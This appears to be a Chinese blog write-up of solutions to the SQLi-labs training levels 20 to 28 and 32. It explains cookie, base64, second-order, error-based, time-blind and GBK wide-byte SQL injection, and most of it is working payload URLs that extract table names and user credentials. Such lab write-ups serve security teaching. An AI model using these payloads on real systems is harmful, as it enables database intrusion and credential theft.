less---20-28

less-20

这关登陆成功会显示cookie,所以抓包在cookie处注入

less-21

这关登陆成功会显示cookie,所以抓包在cookie处注入,发现不成功,查看代码发现被编码

先对注入语句进行base64编码再注入

less-22

闭合字符",同21关

less-23

这关查看代码发现#和--被替换为空格,注释符号被过滤用编码形式和通过括号空格的方式都不成功

使用报错注入就可以,单引号放在1前面

有长度限制也可以联合查询,注释没用可以用单引号闭合

sql 复制代码
?id=1' or '1'='1
//这样sql语句就变成 id='1' or '1'='1'
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1
?id=-1' union select 1,(select group_concat(password,username) from users),3 or '1'='1

less-24

第二十四关有一个登录页面和注册页面还要一个修改密码页面,该关卡使用得是二次注入,因为登录页面和注册页面对于密码和账户名都使用mysql_real_escape_string函数对于特殊字符进行转义。这里我们利用的是注册页面,因为虽然存在函数对特殊字符进行转义,但只是在调用sql语句时候进行转义,当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的

猜测管理员账户admin,创建一个admin'#账户由于存在特殊字符转义会创建成功

然后修改密码,由于没有对修改密码过滤,发现最终修改的是管理员密码

修改密码时,数据库内更新数据语句:(pass_change.php)

sql = "UPDATE users SET PASSWORD='pass' where username='username' and password='curr_pass' ";

带入数据就是:

$sql = "UPDATE users SET PASSWORD='111111' where username='admin' #' and password='admin原来的密码' ";

less--25 and or

输入order by显示被过滤成rder by ,可以考虑双写绕过

?id=1%27%20oorrder%20by%203--+

4报错,3正确,是三列,可以使用联合查询

?id=-1%27%20union%20select%201,(select%20group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=%27security%27),3--+ //查看表名

?id=-1%27%20union%20select%201,(select%20group_concat(column_name)%20from%20infoorrmation_schema.columns%20where%20table_name=%27users%27),3--+ //查看列名

?id=-1%27%20union%20select%201,(select%20group_concat(username,0x23,passwoorrd)%20from%20users),3--+

//求字段

报错注入

?id=1%27%20||%20updatexml(1,concat(0x23,database(),0x23),1)--+

?id=1%27%20%26%20updatexml(1,concat(0x23,(select%20group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=%27security%27),0x23),1)--+ //也可以用编码代替

less-25a整数闭合,报错没有回显,同25

less-26 空格

单引号闭合空格被过滤,可以加引号闭合

在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

?id=1%27||(updatexml(1,concat(0x23,database(),0x23),1))||(%271%27)=%271

?id=1%27||(updatexml(1,concat(0x23,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=%27security%27)),0x23),1))||(%271%27)=%271

less-26a

没有报错信息,用联合查询或者盲注,使用时间盲注

?id=1')%26%26(if(ascii(substr(database(),1,1))>115,sleep(3),0));%00

less-27

过滤

大小写绕过,报错注入

联合查询

less-28

过滤union select组合,报错无回显可以使用时间盲注

宽字节注入less-32

过滤 ' 的时候往往利用的思路是将 ' 转换为 ' 。 在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路: (

1)%df 吃掉 \ 具体的方法是 urlencode(') = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面:

id=-1%df%27union select 1,user(),3--+

(2)将 ' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。 一般产生宽字节注入的PHP函数: 1.replace():过滤 ' \ ,将 ' 转化为 ' ,将 \ 转为 \,将 " 转为 " 。用思路一。 2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一 (防御此漏洞,要将 mysql_query 设置为 binary 的方式)

\x00     \n     \r     \     '     "     \x1a

(防御,将mysql设置为gbk即可)

相关推荐
耶啵奶膘1 小时前
uniapp-是否删除
linux·前端·uni-app
王哈哈^_^3 小时前
【数据集】【YOLO】【目标检测】交通事故识别数据集 8939 张,YOLO道路事故目标检测实战训练教程!
前端·人工智能·深度学习·yolo·目标检测·计算机视觉·pyqt
cs_dn_Jie3 小时前
钉钉 H5 微应用 手机端调试
前端·javascript·vue.js·vue·钉钉
开心工作室_kaic4 小时前
ssm068海鲜自助餐厅系统+vue(论文+源码)_kaic
前端·javascript·vue.js
有梦想的刺儿4 小时前
webWorker基本用法
前端·javascript·vue.js
cy玩具5 小时前
点击评论详情,跳到评论页面,携带对象参数写法:
前端
qq_390161775 小时前
防抖函数--应用场景及示例
前端·javascript
John.liu_Test6 小时前
js下载excel示例demo
前端·javascript·excel
Yaml46 小时前
智能化健身房管理:Spring Boot与Vue的创新解决方案
前端·spring boot·后端·mysql·vue·健身房管理
PleaSure乐事6 小时前
【React.js】AntDesignPro左侧菜单栏栏目名称不显示的解决方案
前端·javascript·react.js·前端框架·webstorm·antdesignpro